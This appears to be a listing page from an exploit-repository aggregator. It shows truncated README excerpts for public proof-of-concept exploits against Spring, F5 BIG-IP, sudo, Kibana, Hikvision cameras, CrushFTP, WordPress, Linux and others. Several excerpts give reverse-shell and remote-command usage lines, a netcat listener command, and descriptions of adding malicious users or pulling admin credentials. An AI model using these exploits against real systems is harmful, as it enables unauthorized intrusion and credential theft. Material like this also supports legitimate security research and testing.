CVE-2022-22947

CVE-2022-22947 CVE-2022-22947EXP,CVE-2022-22947RCE Usage Reverse Shell python3 CVE-2022-22947.py 目标网址 弹shell的IP 端口 Execute Command python3 CVE-2022-22947.py 目标网址 命令...

cve-2022-22947

cve-2022-22947 poc for cve-2022-22947 usage: python python cve-2022-22947.py url cmd...

CVE-2022-1388-EXP

CVE-2022-1388-EXP This is CVE-2022-1388-EXP Author:Caps@BUGFOR Github:https://github.com/bytecaps Remaker:LinJacck Github:https://github.com/LinJacck Feature Display Verification mode: python CVE20221388.py -v -u targeturl Attack mode: python CVE20221388.py -a -u targeturl -c command Batch...

CVE-2024-51378

CVE-2024-51378 Analysis of the CVE-2024-51378 vulnerability, scripts for searching vulnerable hosts, using the exploit in single-threaded and multi-threaded mode in Python and nuclei. The use of scripts is allowed only for educational purposes on test hosts. 1-CVE-2024-51378.pdf - main file with ...

CVE-2019-18634

CVE-2019-18634 working python exploit on Ubuntu 20.04, sudo version 1.8.25 replace "./shell.sh" with your reverse shell writeup at https://y3a.github.io/2021/04/17/sudo-cve-analysis/...

CVE-2022-22965

👾 CVE-2022-22965 This is a proof of concept of an exploit for CVE-2022-22965 spring4shell vulnerability. It is composed by: A vulnerable Springboot application; An exploit script written in python; A safe app for test that the exploit doesn't work; A dockerfile for running the vulnerable...

CVE-2014-6271-IPFire

CVE-2014-6271 Python implementation of CVE-2014-6271: IP Fire =2.15 ShellShock RCE Based on the Metasploit module for the same exploit EDB ID: 34839 Exploit is automatic. See ./CVE-2014-6271.py --help for a full range of switches Warning: The code in this repository may be used for academic/ethic...

CVE-2019-7609

CVE-2019-7609 Kibana Exploit for CVE-2019-7609 in python This exploit can give you RCE NOTE:- THIS IS THE MODIFIED VERSION Help Listening on port 4242 Running exploit Initial Access...

CVE-2017-7921

CVE-2017-7921 exploit This script allows interaction with a CVE-2017-7921 vulnerable camera to perform the following operations: 1. Download and decrypt a configuration file, containing the camera's admin's password. 2. Continuously download images every second. 3. Convert a series of downloaded...

CVE-2017-7921

CVE-2017-7921 CVE-2017-7921-EXP Hikvision camera 본 도구는 합법적으로 승인된 침투 테스트 보안 담당자 및 일상적인 운영을 수행하는 웹사이트 관리자를 대상으로 합니다. 누구든지 불법적인 용도나 수익 목적으로 사용할 수 없으며, 이를 위반할 경우 모든 책임은 본인에게 있으며 관련 책임이 추궁될 것입니다! 사용 도움말 --rhost 대상 호스트 --rport 대상 포트 --level 테스트 레벨: --level 1 취약점 존재 여부 확인 --level 2 모니터링 관리 소스 계정 및...

CVE-2025-31161

CVE-2025-31161 - CrushFTP Exploit Script Description This repository contains a Python script to interact with the CrushFTP service vulnerable to CVE-2025-31161 The script allows you to list existing users and add a malicious user by exploiting the vulnerability. Features Check if the host is up...

CVE-2025-5548

🛡️ Research and Exploitation: CVE 2025-5548 This is the main repository where I document my progress in the analysis of CVE 2025-5548. In this space I record each phase of the process: from lab preparation to final exploit development. 📂 Repository Structure Below is the organization of the...

CVE-2016-10033

PoC for CVE-2016-10033 RCE against WordPress 4.6 usage: ./CVE-2016-10033.py example: ./CVE-2016-10033.py http://site.com/ 1.2.3.4:4444 admin Python port +alterations of https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html Required: Requests pip install requests I...

CVE-2023-37979

CVE-2023-37979 Exploit CVE ID| CVSS Score| Discovered| Affected Plugin| Vendor| Vulnerability Type ---|---|---|---|---|--- CVE-2023-37979| | 27/07/2023| WordPress Plugin| Ninja-forms| Reflected XSS 🐍 Python Script This Python script exploits the reflected Cross-Site Scripting XSS vulnerability...

SmarterMail-CVE-2026-24423

SmarterMail ConnectToHub RCE SmarterTools SmarterMail의 ConnectToHub 기능에서 발생하는 인증되지 않은 원격 코드 실행 취약점인 CVE-2026-24423 에 대한 Python 기반 익스플로잇입니다. 사용 목적: 승인된 보안 테스트, CTF, Hack The Box 랩, 통제된 연구 환경에서만 사용하십시오. 빠른 시작 본인이 소유하거나 테스트 권한을 명시적으로 부여받은 시스템에만 사용하십시오. SECURITY.md를 참조하십시오. 1. Clone git clone...

CVE-2022-25765

CVE-2022-25765 — pdfkit CVE-2022-25765 에 대한 PoC로, 취약한 버전의 pdfkit에 영향을 미칩니다. pdfkit 0.8.6 에서 테스트되었습니다. 요구 사항 Python 3.x requests colorama 의존성 설치: pip3 install -r requirements.txt 또는 수동으로: pip3 install requests colorama 사용법 python3 exploit2.py -u -l -p 예시: 리스너 실행 nc -lvnp 4242 python3 exploit2.py -...

copy-fail-CVE-2026-31431

Copy Fail CVE-2026-31431 - PoC 이 저장소에는 Copy Fail CVE-2026-31431 취약점에 대한 개념 증명PoC이 포함되어 있습니다. ⚠️ 면책 조항: 이 프로젝트는 교육 및 연구 목적으로만 사용됩니다. 소유하지 않았거나 테스트 권한이 없는 시스템에는 사용하지 마십시오. 🧪 사용 방법 아래 단계에 따라 PoC를 실행하십시오: 저장소 복제 git clone https://github.com/ravindercodes/copy-fail-CVE-2026-31431 프로젝트 디렉터리로 이동 cd...

cve-2026-31431

CVE-2026-31431 이 문서는 CVE-2026-31431 취약점과 관련된 공개 Python 익스플로잇을 설명합니다. 이 코드는 Linux의 AFALG 서브시스템 프리미티브, AEAD 암호화 작업, splice를 통한 메모리 조작을 활용하여 취약점을 악용하는 방법을 보여주며, 권한 있는 바이너리/usr/bin/su의 일부를 덮어쓴 후 결과 프로세스를 실행하는 것을 목표로 합니다. 익스플로잇 특징 Python 3로 구현됨 AFALG 소켓authencesn 사용 AEAD 암호화 작업 활용 파일 디스크립터와의 직접적인 상호작용...

Copy-Fail-Exploit-CVE-2026-31431

Copy-Fail-Exploit-CVE-2026-31431 Python 익스플로잇 실행 1. 직접 실행 python3 copyfailexp.py C 버전 컴파일 1. 컴파일 gcc copyfailexp.c -o copyfail 2. 실행 권한 부여 chmod +x copyfail 3. 익스플로잇 실행 ./copyfail su...

CVE-2021-41773

CVE-2021-41773 Docker $ sudo docker build -t . $ sudo docker run -d -t -p 80:80 --name /bin/bash $ sudo docker exec -it ./bin/apachectl -k restart カスタム設定ファイル用にDockerコンテナへアクセスするには $ docker exec -it /bin/bash 設定ファイルは /usr/local/apache2/conf/httpd.conf にあります 設定後、以下のコマンドを実行します $ /usr/local/apache2/bi...